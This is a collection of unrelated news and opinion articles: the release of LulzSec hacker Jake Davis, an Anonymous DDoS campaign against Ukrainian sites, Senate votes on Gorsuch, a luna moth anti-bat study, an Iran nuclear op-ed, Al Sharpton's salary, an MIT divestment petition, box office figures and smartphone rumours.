-FORMER Shetland–based computer hacktivist Jake Davis was freed from a young offender institution on Tuesday, however the 20 year old has been ordered to restrict his use of the internet.  Davis was sentenced to two years in the Feltham Young Offenders Institute last month for hacking into a wide range of websites, including Sony and the Serious Organised Crime Agency (SOCA) as part of the LulzSec online collective.  However 21 months spent on an electronic tag were taken into account and he was released after serving just 37 days.  The court has said he is once again allowed to use the internet, but he must not contact anyone connected to the Anonymous hacktivist collective of which he was a part.  He is also banned from creating any encrypted files, securely wiping any data or deleting his internet history.  Davis was the confident and cocky public voice of the Anonymous splinter group LulzSec that enjoyed making fun of organisations such as The Sun and the right wing Westboro Baptist Church.  He was arrested in Lerwick two years ago when police swooped on his Hoofields chalet where he had recently moved from Yell, the island where he grew up with his mother.  The final message posted by his online alter ego Topiary was: “You cannot arrest an idea.”  At the weekend Davis returned to Twitter, where one of many humourous tweets said: “You can arrest an idea, you can imprison an idea, you can warp an idea, you can break an idea, but you still can’t lick your own elbow.”  He is now based in the London borough of Islington where he is working on a number of projects with contemporary art group Artangel.  He is also talking about co-writing a film about the internet, he describes as “a drama/sattire” (sic).  Aside from that, he tweets: “654 days on curfew and 37 days in Feltham. Up next: another 365 days on license (parole) and 1825 days of intense monitoring. Free though!”  He also wants to publish a “nerdy prison diary online once it’s been vetted by twenty million lawyers…”  Just before he was sentenced, Davis gave this exclusive interview to the BBC.
-Senate Democrats emboldened by the GOP’s failure to repeal and replace ­ObamaCare are increasingly coming out against President Trump’s Supreme Court nominee, narrowing Neil Gorsuch’s path to confirmation.  Sen. Bill Nelson Clarence (Bill) William Nelson2020 party politics in Puerto Rico There is no winning without Latinos as part of your coalition Dem 2020 candidates court Puerto Rico as long nomination contest looms MORE (D-Fla.) on Monday announced he would vote against ending debate on Gorsuch’s nomination.  Nelson, one of several Democrats to announce their opposition on Monday, was a significant blow to Gorsuch because he represents a state won by President Trump and faces reelection in 2018.  He’s also one of three Democrats remaining in the Senate who voted to end debate on Justice Samuel Alito’s nomination in 2006.  ADVERTISEMENT  “I will vote no on the motion to invoke cloture and, if that succeeds, I will vote no on his confirmation,” Nelson said Monday.  Gorsuch’s prospects for ending a filibuster got a boost later on Monday when Sen. Joe Manchin Joseph (Joe) ManchinTrump claims Democrats ‘don’t mind executing babies after birth’ after blocked abortion bill Democrats block abortion bill in Senate The Hill's Morning Report - A pivotal week for Trump MORE (D-W.Va.) told a reporter for NBC that he would vote to end debate on the nomination. Manchin said he had not yet decided whether he will back Gorsuch’s nomination.  Still, Nelson’s decision suggests Democrats are seeing better political prospects in opposing Trump and Gorsuch than in backing him and risking the ire of the left.  In a similar sign, Sen. Patrick Leahy Patrick Joseph LeahySenate plots to avoid fall shutdown brawl Booker wins 2020 endorsement of every New Jersey Democrat in Congress The Hill's Morning Report - Can Bernie recapture 2016 magic? MORE (D-Vt.), a former chairman of the Judiciary Committee, appeared to walk back comments that hinted he might oppose a filibuster against Gorsuch.  After telling a Vermont news outlet that he was “not inclined to filibuster,” Leahy tweeted that Gorsuch would be filibustered unless he “provides REAL answers to written Qs & senators have ample time for review & debate.”  Democrats are under enormous pressure from liberal groups to oppose Gorsuch after Republicans last year blocked Merrick Garland, President Obama’s nominee to replace the late Justice Antonin Scalia.  Republicans need to find eight Democrats to vote to end debate to break a filibuster against Gorsuch.  Doing so would prevent them from having to use the nuclear option — voting to change the Senate’s rules to prohibit a filibuster against the Supreme Court nominee.  Senate Majority Leader Mitch McConnell Addison (Mitch) Mitchell McConnellHouse to push back at Trump on border Democrats block abortion bill in Senate Overnight Energy: Climate protesters storm McConnell’s office | Center-right group says Green New Deal could cost trillion | Dire warnings from new climate studies MORE (R-Ky.) has signaled his willingness to take this step if Democrats block Gorsuch, who emerged relatively unscathed from last week’s confirmation hearings and is seen by Republicans as well-qualified for the court.  A path remains for the GOP to get to 60.  All 52 Republican senators will back ending debate on Gorsuch.  And a number of Democrats have not said how they will vote.  They include senators who are up for reelections in states won by Trump.  And while Trump’s victory over Hillary Clinton Hillary Diane Rodham ClintonSanders: 'I fully expect' fair treatment by DNC in 2020 after 'not quite even handed' 2016 primary Sanders: 'Damn right' I'll make the large corporations pay 'fair share of taxes' Former Sanders campaign spokesman: Clinton staff are 'biggest a--holes in American politics' MORE in Florida was close, he dominated the Democrat in North Dakota, Indiana, Montana and Missouri as well as West Virginia.  Those states are home to five of 2018’s most vulnerable Democratic incumbents: Sens. Manchin, Heidi Heitkamp Mary (Heidi) Kathryn HeitkampOvernight Energy: Trump taps ex-oil lobbyist Bernhardt to lead Interior | Bernhardt slams Obama officials for agency's ethics issues | Head of major green group steps down Trump picks ex-oil lobbyist David Bernhardt for Interior secretary On The Money: Shutdown Day 27 | Trump fires back at Pelosi by canceling her foreign travel | Dems blast 'petty' move | Trump also cancels delegation to Davos | House votes to disapprove of Trump lifting Russia sanction MORE (N.D.), Claire McCaskill Claire Conner McCaskillPoll: 33% of Kentucky voters approve of McConnell McCaskill: Lindsey Graham 'has lost his mind' Trey Gowdy joins Fox News as a contributor MORE (Mo.), Jon Tester Jonathan (Jon) TesterOvernight Energy: Trump ends talks with California on car emissions | Dems face tough vote on Green New Deal | Climate PAC backing Inslee in possible 2020 run Dems face tough vote on Green New Deal How the border deal came together MORE (Mont.) and Joe Donnelly Joseph (Joe) Simon DonnellyOvernight Energy: Trump taps ex-oil lobbyist Bernhardt to lead Interior | Bernhardt slams Obama officials for agency's ethics issues | Head of major green group steps down Trump picks ex-oil lobbyist David Bernhardt for Interior secretary EPA's Wheeler faces grilling over rule rollbacks MORE (Ind.). Four of the five have kept a tight lip on whether they’ll back Gorsuch.  The two other Democrats who backed Alito are Sen. Tom Carper Thomas (Tom) Richard CarperDems slam EPA plan for fighting drinking water contaminants EPA to announce PFAS chemical regulation plans by end of year Overnight Energy: Zinke joins Trump-tied lobbying firm | Senators highlight threat from invasive species | Top Republican calls for Green New Deal vote in House MORE (Del.), who says he will oppose Gorsuch, and Maria Cantwell Maria Elaine CantwellThis week: Congress, Trump set for showdown on emergency declaration Senate reignites blue slip war over Trump court picks Senate votes to extend key funding mechanism for parks MORE (Wash.). Cantwell’s spokesman told the Seattle Times that she’s undecided and will meet with Gorsuch this week.  Republicans pounced on Nelson’s decision, pledging that the Supreme Court will be fodder for the 2018 Senate battle.  “Senator Bill Nelson proved to Floridians today that he no longer shares their values and instead is more politically aligned with the liberal elite of Washington,” said Katie Martin, a spokeswoman for the National Republican Senatorial Committee.  But Nelson is not the only Democrat up for reelection in 2018 who opposes Gorsuch.  Sens. Sherrod Brown Sherrod Campbell BrownWorse than nothing's been done since the massive Equifax hack Dems face internal battle over budget On The Money: Dems set Tuesday vote on Trump's emergency declaration | Most Republicans expected to back Trump | Senate plots to avoid fall shutdown drama | Powell heading before Congress MORE (Ohio), Bob Casey Robert (Bob) Patrick CaseyTrump claims Democrats ‘don’t mind executing babies after birth’ after blocked abortion bill Democrats block abortion bill in Senate GOP wants to pit Ocasio-Cortez against Democrats in the Senate MORE Jr. (Pa.) and Tammy Baldwin Tammy Suzanne BaldwinKlobuchar, O'Rourke visit Wisconsin as 2020 race heats up Dems offer smaller step toward ‘Medicare for all' Overnight Health Care — Sponsored by America's 340B Hospitals — Powerful House committee turns to drug pricing | Utah governor defies voters on Medicaid expansion | Dems want answers on controversial new opioid MORE (Wis.) have also all come out against Trump’s nominee, a signal they believe they are better off siding with their party’s base.  Another Democratic vote to watch is Sen. Michael Bennet Michael Farrand BennetDemocratic donors stuck in shopping phase of primary Overnight Health Care — Sponsored by America's 340B Hospitals — CDC blames e-cigs for rise in youth tobacco use | FDA cracks down on dietary supplements | More drug pricing hearings on tap The Hill's Morning Report - Presented by the American Academy of HIV Medicine - Next 24 hours critical for stalled funding talks MORE, who represents Gorsuch’s home state of Colorado. He’s facing sustained pressure to back Gorsuch, whom he helped introduce at the committee last week.  If Republicans flip Bennet and the five most vulnerable red-state 2018 Senate Democrats, they’d just need two more to confirm Gorsuch.  Other targets include Leahy and Sens. Jeanne Shaheen Cynthia (Jeanne) Jeanne ShaheenCongress must step up to protect Medicare home health care Dems slam EPA plan for fighting drinking water contaminants Bipartisan Senators reintroduce legislation to slap new sanctions on Russia MORE (D-N.H.) and Angus King Angus Stanley KingHillicon Valley: Senators urge Trump to bar Huawei products from electric grid | Ex-security officials condemn Trump emergency declaration | New malicious cyber tool found | Facebook faces questions on treatment of moderators Key senators say administration should ban Huawei tech in US electric grid Addressing repair backlog at national parks can give Congress a big win MORE (I-Maine).  King, who is up for reelection, hasn’t announced a decision on Gorsuch’s nomination and immediately distanced himself from a filibuster.  Shaheen isn’t up for reelection but is from a politically purple state. A spokeswoman told The Hill on Monday that she is undecided and is “currently reviewing hearing transcripts.”  Gorsuch’s nomination is expected to come to the Senate floor next week, after Democrats on the Judiciary Committee delayed an initial vote on his nomination until Monday. Under the committee’s rules, any one senator can request that a nomination be held over the first time it appears on the agenda.  Republicans want to clear Gorsuch’s nomination before they leave for two weeks and have warned they could delay the Easter recess to confirm him.  And McConnell again threatened to go nuclear on Monday.  “This much is clear: If our Democratic colleagues choose to hold up this nominee, then they’re acknowledging that they’ll go to any length to block any Supreme Court nominee of a Republican president,” he said.
-Following news of Demonoid's takedown, the hacktivist group Anonymous attacked the Ukrainian government on Tuesday with its usual technique: a Distributed Denial of Service (DDoS) attack.  The collective targeted and took down the National Television and Radio Broadcasting Council of Ukraine (nrada.gov.ua), the Ukrainian Agency for Copyright and Related Rights (uacrr.kiev.ua), and the Ukrainian Anti-Piracy Association (apo.kiev.ua).  All the sites appear to be fully operational again at the time of writing.  The initiative, dubbed OpDemonoid, was explained by an Anonymous-released video -- seen above -- which announced the plan on Tuesday.  In a previous statement to the public, Anonymous reminded the Ukrainian government that they had faced its wrath before. Here's an excerpt:  Haven't you, Ukraine, learned anything from the Anonymous Collective? You were attacked once, and yet feel the need to keep censoring us, your people, and every day hard working citizens? Ukrainian government, You should have expected us.  Last month, a massive Distributed Denial of Service (DDoS) attack brought Demonoid to its knees. Last week, the server was turned off completely and the site led to a dead end . Then it came back to life, and started redirecting to random sites full of advertisements . Eventually this stopped and both demonoid.me and demonoid.ph crumbled again.  Then we learned that the situation was much worse. Demonoid was busted by Ukrainian authorities who had a talk with ColoCall, the largest datacenter in Ukraine. Mexico initiated a criminal investigation into Demonoid's owners .  Anonymous is apparently interested in punishing Ukraine right now; it's not yet clear if Mexico will be next.  See also:
-Today, HM is proud to premiere Emery’s newest single, “The Less You Say,” as part of the band’s inventive plan to release their entire new album, You Were Never Alone, via podcast. All in all, there are 12 tracks on the band’s upcoming full-length album, due out May 19 from the label they own, BC Music. Emery band members Matt Carter and Toby Morrell are in the midst of a new podcast launch called Break It Down (iTunes), dedicated to the stories behind the songs, with the first 12 episodes the premieres of every track on the band’s sixth studio release.  Carter and Morrell both agree on one thing: This is the best song on the album. Carter spoke with HM about their favorite track.  You might not believe me, but I am so thankful to have people enjoying this podcast. I was nervous about trying something this different and am overwhelmed by the response. What’s more, this song is actually my favorite on the entire album. Toby says it is his as well. It feels like an old school me song and something we would have tried to write in 2000. It has the perfect blend of Toby’s and Devin’s vocals, and it has some guitar parts that just plain tickle me to listen to and play. I hope you enjoy it at least partly as much as I do.  As the members of Emery wrote, recorded and toured, some of them remained committed to their call-it-like-it-is Bad Christian podcast (and accompanying brand), which had skyrocketed out of the gate after its launch in 2013. They were able to begin BC Music with the infrastructure they created with Bad Christian, also dipping their toes into publishing and remaining committed to a cutting edge approach to the music industry.
-Bats and moths have been engaged in acoustic warfare for more than 60 million y. Yet almost half of moth species lack bat-detecting ears and still face intense bat predation. We hypothesized that the long tails of one group of seemingly defenseless moths, saturniids, are an anti-bat strategy designed to divert bat attacks. Using high-speed infrared videography, we show that the spinning hindwing tails of luna moths lure echolocating bat attacks to these nonessential appendages in over half of bat–moth interactions. Further we show that long hindwing tails have independently evolved multiple times in saturniid moths. This finding expands our knowledge of antipredator deflection strategies, the limitations of bat sonar, and the extent of a long-standing evolutionary arms race.  Abstract  Adaptations to divert the attacks of visually guided predators have evolved repeatedly in animals. Using high-speed infrared videography, we show that luna moths (Actias luna) generate an acoustic diversion with spinning hindwing tails to deflect echolocating bat attacks away from their body and toward these nonessential appendages. We pit luna moths against big brown bats (Eptesicus fuscus) and demonstrate a survival advantage of ∼47% for moths with tails versus those that had their tails removed. The benefit of hindwing tails is equivalent to the advantage conferred to moths by bat-detecting ears. Moth tails lured bat attacks to these wing regions during 55% of interactions between bats and intact luna moths. We analyzed flight kinematics of moths with and without hindwing tails and suggest that tails have a minimal role in flight performance. Using a robust phylogeny, we find that long spatulate tails have independently evolved four times in saturniid moths, further supporting the selective advantage of this anti-bat strategy. Diversionary tactics are perhaps more common than appreciated in predator–prey interactions. Our finding suggests that focusing on the sensory ecologies of key predators will reveal such countermeasures in prey.
-–  Tension between the international community and Iran is mounting. With the International Atomic Energy Agency (IAEA) ready to issue a report on Tehran’s attempts of developing nuclear weapons, with recent claims that scientists from Russia, Pakistan, and North Korea have all played an important role in helping Iran come close to full nuclear capacity, and perhaps most crucially, with Israel warning of the possibility of launching a pre-emptive attack, every move now made in the international arena is crucial. While the US and UK weigh up their military options, we must ask: should the UK really get involved?  The IAEA report on Iran’s nuclear developments is scheduled to be released to the 15 members of the UN Security Council on Wednesday. However, as details of the report begin to emerge from leaked information in today’s Washington Post, the gravity of the situation is becoming clearer. Namely, the details demonstrate Iran is at a particularly advanced stages of designing a nuclear explosive.  The Telegraph’s Alex Spillius describes this well in his recent article on the IAEA report. He emphasizes that Iran is currently designing a nuclear explosive device small enough to fit in a warhead that involves an R265 generator. The R265 generator has been described in the Washington Post as ‘a hemispherical aluminum shell with an intricate array of high explosives that detonate with split-second precision. These charges compress a small sphere of enriched uranium or plutonium to trigger a nuclear chain reaction.’ Additionally, although tests have not yet been carried out, the IAEA states’ satellite images have confirmed a site in the Qom region that is supposedly being used to house a completed a steel container.  Iran’s build up of nuclear technology has been aided by foreign assistance. Vyacheslav Danilenko, a former Soviet atomic scientist, has recently been named as having played a key role in Iran’s nuclear development. Not only is he said to have given lectures, but he has also contributed substantial technical information to Iran’s nuclear developers. However, nuclear scientists from Pakistan and North Korea are also said to have supplied formulas and assistance as well.  Most importantly, the way that the international community now plays its cards is absolutely fundamental. Although particular countries such as France and China have condemned Iran’s so called ‘obsession’ with nuclear development, anger at perceived USA hypocrisy only seems to be spurring Iran on even more. In fact, Saeed Jalili, Iran’s nuclear negotiator, has claimed that the USA is waging terrorism against the country.  However, tensions with Israel are also starting to mount. Shimon Peres, the Israeli President, has warned of the possibility of a pre-emptive attack. If this materialises, it seems highly unlikely that the US and its allies would not interfere. Therefore, the role of the UK in this matter is substantially more important than the media is portraying it to be. Namely, if the US seeks UK support in targeting Iran’s nuclear sites, enormous decisions will have to be made.  The UK is not really sitting in the sidelines. It has already stated it is upping its contingency plan to join any potential offensives. Although the UK might be giving the USA a reassuring pat on the shoulder, if crunch time really comes and the UK becomes heavily involved, then we will all have to step back and reassess.  It has to be said that despite concern of these recent developments, it is pertinent that other issues are addressed; focus cannot be lost. The UK needs to handle its current involvement in Libya and continue playing an active role in bringing solutions to the table regarding the EU crisis. Furthermore, it needs to ensure domestic happiness before it pursues what could potentially become an extremely regrettable war. To reiterate, The UK should not start any more unnecessary and preventable wars but should focus on its agenda that is already full of issues far from easy to tackle.  Advertisements
-Gay journalist Chadwick Moore – who recently came out as a conservative – spoke at Portland State University in a speech that drew protests and prompted Moore to boldly engage demonstrators who heckled him.  The speech, “The Joys of Being an Infidel: Challenging Orthodoxy and Standing Up for Free Speech in America,” drew roughly 60 students and community members, including about a dozen student protesters.  They held signs declaring “No sympathy for alt-right trash” and “Destroy your local fascist,” and at times disrupted the speech with verbal outbursts. Moore responded in sometimes feisty rebuttals as the two sides clashed.  Moore entered the national spotlight after coming out as a conservative in an op-ed in the New York Post in February that detailed the intense backlash and hatred he received from his once beloved and supportive gay community for writing a feature on Milo Yiannopoulos for Out magazine.  “If you dare to question liberal stances or make an effort toward understanding why conservatives think the way they do, you are a traitor,” Moore wrote in his coming out piece. “It can seem like liberals are actually against free speech if it fails to conform with the way they think. And I don’t want to be a part of that club anymore.”  Now, as an emerging defender of free speech, he finds himself a target.  ‘The Joys of Being an Infidel’  In opening his Portland State speech on April 28, he alluded to its title with an Islamic greeting: “As-Salaam-Alaikum,” he said. “That’s how they say it in France.”  The event was organized by Freethinkers of PSU, a nonpartisan classical liberal and humanist student group.  Blake Horner, one of the leaders in Freethinkers of PSU, said that some protest was expected given that dozens of flyers promoting the event had been vandalized or torn down during the preceding week.  “It seems that many people at PSU were motivated to halt public knowledge of this event,” Horner said. “We were also confronted by someone who was determined to intimidate us.”  On the day of the speech, messages plastered on the group’s display case called Moore a “fascist defender.”  Moore reserved strong criticism for PSU’s Queer Resource Center at the beginning of his speech. He pointed out what he perceived as the center’s political bias for refusing Freethinkers’ request to place a flyer in its space while socialist promotional material is displayed on its windows.  “Here I am, a public gay person who was working for the two largest gay magazines in the world as their top investigative journalist, and they can’t put that up there because they don’t like my politics,” Moore said. “Maybe the Queer Resource Center should rebrand itself as something less misleading.”  Moore suggested the center call itself the “Ministry of Propaganda” or the “I’m with Her Memorial Museum and Gift Shop,” referring to Hillary Clinton’s failed 2016 presidential bid. The audience burst out in laughter.  .@Chadwick_Moore christens the PSU Queer Resource Center the “I’m With Her Memorial Museum & Gift Shop.” Full video: https://t.co/vqhlAw0GBn pic.twitter.com/0medDT34P7 — Andy C. Ngo (@MrAndyNgo) May 7, 2017  Moore later read from a “power and privilege” training document he received from a PSU student. He criticized the training material, which defined white people, heterosexuals and English-speaking people, among other groups, as “agents of oppression” due to their privilege.  After addressing the training material’s arguments point-by-point with counter facts and statistics, Moore ripped up the document.  “Anyone who gets this in a future class, this is what you have to do to it,” he said. “Sign up for a new class.”  ‘We can punch you too’  Protesters began to heckle and disrupt Moore further in his speech as he continued to ridicule social justice activism and the political far-left.  “Can you not wait until the Q&A and be polite?” Moore responded as the interruptions continued. “Why don’t you shut up and have respect for your fellow students?”  Later, an audience member called out the rude behavior of some protesters. “Stop being homophobic, let the gay man talk!” he shouted. “You’re stifling gay speech.”  Moore carried on with his lecture but about midway through another student yelled at him from the middle of the room.  “I am black, I am disabled, I’m a woman,” she shouted. After a back-and-forth, Moore invited her to speak during the Q&A. The student stormed out of the room and pounded on the window with her fists.  “Girl, there’s still time, we can punch you too,” a student shouted to Moore after he mocked the disrupters’ low energy. “Sorry, not a threat,” she said after the audience gasped. Some students in the audience recognized her as a candidate for student government.  1 in 5 gay Americans are conservative  Moore closed his speech by reading part of a letter he received by a gay man who thanked him for “coming out” in his New York Post op-ed.  “This touched me so much and I cried a little because I was thinking about how much the gay community has meant to me my entire life,” Moore said.  Citing a Gallup survey that estimates 1 in 5 gay Americans are conservative, Moore shifted his ire to queer resource centers across the country.  “If you decide to shun a huge percentage of your community simply because they might not agree with your political views … you’re denying people a chance to true happiness of living authentically,” he said.  During the Q&A, audience members used the opportunity to express support, criticism or gratitude for Moore’s partisan views.  “I was one of those people who wrote you a message when you came out,” said a young woman in the audience. “I want to personally thank you for being as loud as you are because you’re speaking up for people like me.”  Later on, one of the protesters who earlier held a “Black Lives Matter” sign asked Moore about his views on racial matters.  “You talk about how you feel like you don’t have free speech in some places,” she said. “Are you also fighting then for the free speech of black gay Americans?”  Puzzled by the question, Moore asked her to clarify.  “Knowing people who side with the right-side … they tend to be racist,” she said.  Moore stated that he supports free speech full stop.  “Why would I not want black people to have a voice?” he asked. “I want everyone to have a voice. More speech is more speech.”  Freethinkers  After answering questions for about 40 minutes, Moore thanked the audience and some of the protesters for voicing their dissent in a respectful manner.  Several attendees expressed their gratitude to event organizers for hosting the event.  “I was impressed by Chadwick standing up to these bullies and speaking his mind,” said Mykle Curton, a self-identified leftist who graduated from PSU in 2013. “Just because I disagree with him on politics doesn’t mean I can’t like and support him. I agree with him about his rejection of identity politics. They argue that you can lump people into groups and generalize their experiences and beliefs.”  Marko Balogh, a student leader of the Freethinkers, expressed concern that the event was too politically polarizing and didn’t further the mission of the organization.  “While I think free speech—including the freedom to offend—is an absolutely vital component of an intellectually healthy society, I don’t think the excessively combative demeanor of the speaker was helpful,” he said. “If we are going to reduce political polarization and make our society better for everyone, we have to approach politics from a charitable and well-meaning mindset.”  Balogh said he hopes future events organized by Freethinkers would encourage conversations in which “all sides of the issues are considered wholeheartedly.”  Editor’s note: Andy Ngo was involved in organizing this event.  Like The College Fix on Facebook / Follow us on Twitter  PHOTO CREDITS: Main, Twitter screenshot; Top, Collin Berend; Bottom, Andy Ngo
-The Matt Damon film also had the biggest debut weekend for the month of October.  The Martian earned a massive $12.1 million in South Korea over the weekend, reaping almost half of the box-office revenue in the country over the period.  The fact that Friday was a national holiday helped boost figures, which marked the biggest opening of all time for Fox in the country.  The Matt Damon film, distributed by 20th Century Fox Korea, grabbed 48.3 percent of the three-day weekend market share, according to the Korean Film Council. This is also the biggest opening score for the month of October in the Asian country, whose population watches more films per year on average, more than four, than any other country in the world.  Hollywood films set in outer space have generally done well. The Martian also broke opening-day records previously held by Avatar and Interstellar, drawing a total of over 1.53 million admissions. Local industry observers in the country of a population of 50 million primarily measure a film's performance by theater attendance.  The successful debut of The Martian pushed The Intern down to No. 2. The Anne Hathaway-Robert De Niro comedy accounted for 15.3 percent of the box-office market share this weekend. Handled by Warner Bros. Korea, the film has so far earned a cumulative $15.8 million.  Local film The Advocate: A Missing Body debuted in third place as it reaped 13.8 percent of box-office revenue. The CJ Entertainment title has grossed about $4 million overall. Starring A Hard Day actor Lee Sun-kyun in the lead role, the crime actioner is about an ace advocate who is about to win a missing-body homicide case. Things take an unexpected turn, however, when his defendant, the primary suspect, suddenly confesses to the murder, and the lawyer suddenly finds himself having to defend his pride and stand up for justice.  Following the successful debuts of The Martian and The Advocate, homegrown period drama The Throne dropped two spots to finish in fourth place this weekend. The costume drama, which is Korea's entry for the foreign-language Oscar race, took 7.2 percent of sales that added to its gross total of over $4.1 million. The film set in the Joseon Kingdom (1392-1910) crossed 6 million admissions, making it the eighth best film of the year. Showbox/Mediaplex distributes the film, which was chosen as the opener for the Hawaii International Film Festival that kicks off on Nov. 12.  The Accidental Detective, a second CJ Entertainment title in the top ranks, finished at No. 5. This was two spots down from the previous week as the film accounted for 6.3 percent of the box-office total. The crime comedy's cumulative box-office revenue comes down to a little less than $17 million.
-It pays to have friends in high places.  Al Sharpton gave himself a 71 percent raise last year after his National Action Network group drew a record $6.9 million in donations — as the controversial cleric’s association with Mayor de Blasio and President Obama lent him a newfound air of legitimacy.  De Blasio’s election gave Sharpton a seat at City Hall, as the mayor treated him as an adviser and presented him at a press event next to Police Commissioner Bill Bratton after the death of Eric Garner.  Also in 2014, Obama addressed NAN’s annual convention, bringing along five of his Cabinet members.  The Harlem-based nonprofit collected $2 million more in 2014 than the year before, according to the latest financial records available.  Sharpton’s pay increased from $241,545 in 2013 to $412,644, including a bonus of $64,400, tax filings obtained by The Post show.  In April, four months after his pal de Blasio took office, some 5,000 people attended NAN’s 2014 conference headlined by Obama and attended by the mayor, Gov. Cuomo and then-US Attorney General Eric Holder. It was NAN’s biggest fund-raiser of the year.  In October, a few months after Sharpton’s summer of police protests, he pulled in a reported $1 million at his 60th-birthday bash. Pols and dignitaries rushed from the annual Al Smith Dinner hosted by Timothy Cardinal Dolan that same night to the NAN fund-raiser at the Four Seasons restaurant.  NAN does not need to disclose its donors, but a program distributed at his birthday parties had full-page ads from companies that gave money. AT&T, real-estate developer Forest City Ratner, Walmart, McDonald’s, Verizon and GE Asset Management were all included.  Although Sony’s then-co-chairwoman, Amy Pascal, met with Sharpton in 2014 after a hacker revealed racially insensitive e-mails, the reverend told The Post that Sony did not give NAN money.  The windfall allowed the organization to finish 2014 in the black. Yet NAN, and Sharpton, continued their deadbeat ways.  NAN didn’t pony up its last installment on the $780,145 it owed the IRS for unpaid payroll taxes until this Oct. 22, the organization’s financial statements show. The nonprofit had racked up unpaid payroll taxes since at least 2003, according to public records.  Sharpton, meanwhile, still has outstanding tax liens of $3.4 million, including money he owes personally to both New York state and the IRS, and taxes owed by his businesses, according to public records. He paid off one federal lien, for $931,398, in April.  Sharpton has maintained that he owes much less money than records reflect and that he has been chipping away at the bills through payment plans.  He also insists he didn’t really get a raise last year.  “I’m glad that NAN has resolved all of our past tax debts three years earlier than our agreement with the IRS and paid part of the compensation owed to me for several years I did not receive a salary,” Sharpton said in a statement.  Tax records show NAN paid him $4,860 in 2006 and nothing in 2007 and 2008.  But a spokesman for the organization offered a different explanation, saying the salary hike was repayment of loans Sharpton previously made to NAN.  Former IRS official Marcus Owens, an expert on nonprofit law, said the explanation seemed odd.  “To structure the payoff of a loan through a salary transfer doesn’t seem really plausible because no one would want to pay income tax on their own money coming back to them,” Owens said. “It seems like that characterization was developed after the fact for some other purpose.”
-I decided to add my name to a petition by, as of this writing, 81 MIT faculty, calling on MIT to divest its endowment from fossil fuel companies. (My co-signatories include Noam Chomsky, so I guess there’s something we agree about!) There’s also a wider petition signed by nearly 3500 MIT students, faculty, and staff, mirroring similar petitions all over the world.  When the organizers asked me for a brief statement about why I signed, I sent them the following:  Signing this petition wasn’t an obvious choice for me, since I’m sensitive to the charge that divestment petitions are just meaningless sanctimony, a way for activists to feel morally pure without either making serious sacrifices or engaging the real complexities of an issue. In the end, though, that kind of meta-level judgment can’t absolve us of the need to consider each petition on its merits: if we think of a previous crisis for civilization (say, in the late 1930s), then it seems obvious that even symbolic divestment gestures were better than nothing. What made up my mind was reading the arguments pro and con, and seeing that the organizers of this petition had a clear-eyed understanding of what they were trying to accomplish and why: they know that divestment can’t directly drive down oil companies’ stock prices, but it can powerfully signal to the world a scientific consensus that, if global catastrophe is to be averted, most of the known fossil-fuel reserves need to be left in the ground, and that current valuations of oil, gas, and coal companies fail to reflect that reality.  For some recent prognoses of the climate situation, see (for example) this or this from Vox. My own sense is that the threat has been systematically understated even by environmentalists, because of the human impulse to shoehorn all news into a hopeful narrative (“but there’s still time! if we just buy locally-grown produce, everything can be OK!”). Logically, there’s an obvious tension between the statements:  (a) there was already an urgent need to act decades ago, and  (b) having failed to act then, we can still feasibly avert a disaster now.  And indeed, (b) appears false to me. We’re probably well into the era where, regardless of what we do or don’t do, some of us will live to see a climate dramatically different from the one in which human civilization developed for the past 10,000 years, at least as different as the last Ice Ages were.  And yet that fact still doesn’t relieve us of moral responsibility. We can buy more time to prepare, hoping for technological advances in the interim; we can try to bend the curve of CO 2 concentration away from the worst futures and toward the merely terrible ones. Alas, even those steps will require political will that’s unprecedented outside of major wars. For the capitalist free market (which I’m a big fan of) to work its magic, actual costs first need to get reflected in prices—which probably means massively taxing fossil fuels, to the point where it’s generally cheaper to leave them in the ground and switch to alternatives. (Lest anyone call me a doctrinaire treehugger, I also support way less regulation of the nuclear industry, to drive down the cost of building the hundreds of new nuclear plants that we’ll probably need.)  These realities have a counterintuitive practical implication that I wish both sides understood better. Namely, if you share my desperation and terror about this crisis, the urgent desire to do something, then limiting your personal carbon footprint should be very far from your main concern. Like, it’s great if you can bike to work, and you should keep it up (fresh air and exercise and all). But I’d say the anti-environmentalists are right that such voluntary steps are luxuries of the privileged, and will accordingly never add up to a hill of beans. Let me go further: even to conceptualize this problem in terms of personal virtue and blame seems to me like a tragic mistake, one on which the environmentalists and their opponents colluded. Given the choice, I’d much rather that the readers of this blog flew to all the faraway conferences they wanted, drove gas-guzzling minivans, ate steaks every night, and had ten kids, but then also took some steps that made serious political action to leave most remaining fossil fuels in the ground even ε more likely, ε closer to the middle of our Overton window. I signed the MIT divestment petition because it seemed to me like such a step, admittedly with an emphasis on the ε.
-We've been hearing a lot about Volantis lately, but what about the other supposed Nexus device - Shamu? Since we originally broke the story back in July (with the Information affirming Shamu's existence soon after) things have been relatively quiet, with only a benchmark test here or there popping up with alleged specs that seemed to point to a smaller device.  Today, however, 9to5Google has divulged specs and details about the device in which the outlet seems fairly confident. 9to5 says it can corroborate the 5.9" screen size, and notes that "the device we've learned about" actually carries the following specs, some of which clash with earlier reports:  5.92" QHD display (498PPI)  3200mAh battery  13MP camera and 2MP front shooter  Snapdragon 805 processor  3GB RAM  Worth noting is that 9to5's information aligns almost perfectly with information we received earlier this year, but they also sound very close to a device we've seen under the name Quark, which may in fact be the basis for Shamu.  We can also fill in some of the gaps in 9to5's information. For instance, Shamu (as we noted in our original coverage) is expected to carry a fingerprint sensor on its back, replacing Moto's signature dimple/logo décor. Additionally, 9to5 notes that Shamu doesn't appear to be running a 64 bit version of Android, and indeed the information we saw earlier this year indicated that the device would launch on a 32 bit version of Android L (while Volantis will carry a 64 bit version). Our information at the time also suggested that Shamu would have wireless charging capabilities (and compatibility with Moto's new Turbo Charger), but as with any pre-release information, we can't be totally certain just yet.  9to5 also notes that the form factor has only been slightly modified from the Moto X as far as they can tell - the volume rocker and power button are said to be positioned more toward the center of the device to allow for easier access.  Finally, 9to5 doesn't rule out the possibility of multiple Nexus phones. While we can't corroborate the existence of a smaller Nexus phone, there has certainly been evidence floating around to suggest a 5.2" device. Shamu, according to 9to5's information is still aiming for a November release, with an announcement at some point in October. Hit the link below for the full story, and 9to5's own mockup of the device.  Source: 9to5Google
